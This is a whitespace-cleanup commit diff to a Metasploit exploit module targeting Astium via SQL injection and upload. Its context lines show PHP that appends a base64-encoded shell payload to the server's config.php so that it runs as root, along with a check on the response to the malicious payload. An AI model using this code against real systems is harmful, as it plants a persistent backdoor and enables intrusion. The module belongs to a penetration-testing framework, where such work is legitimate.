Kill off EOL spaces on astium_sqli_upload.

modules/exploits/linux/http/astium_sqli_upload.rb

@@ -138,7 +138,7 @@ class Metasploit3 < Msf::Exploit::Remote
     phppayload << "$orig = file_get_contents('/usr/local/astium/web/php/config.php');"
     # Add the payload to the end of "/usr/local/astium/web/php/config.php". Also do a check if we are root,
     # else during the config reload it might happen that an extra shell is spawned as the apache user.
-    phppayload << "$replacement = base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\");"   
+    phppayload << "$replacement = base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\");"
     phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');"
     phppayload << "fwrite($f, $orig . \"<?php if (posix_getuid() == 0) {\" . $replacement . \"} ?>\");"
     phppayload << "fclose($f);"
@@ -182,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Remote
     }, 120)
 
     # If we don't get a 200 when we request our malicious payload, we suspect
-    # we don't have a shell, either. 
+    # we don't have a shell, either.
     if res and res.code != 200
       print_error("#{peer} - Unexpected response...")
     end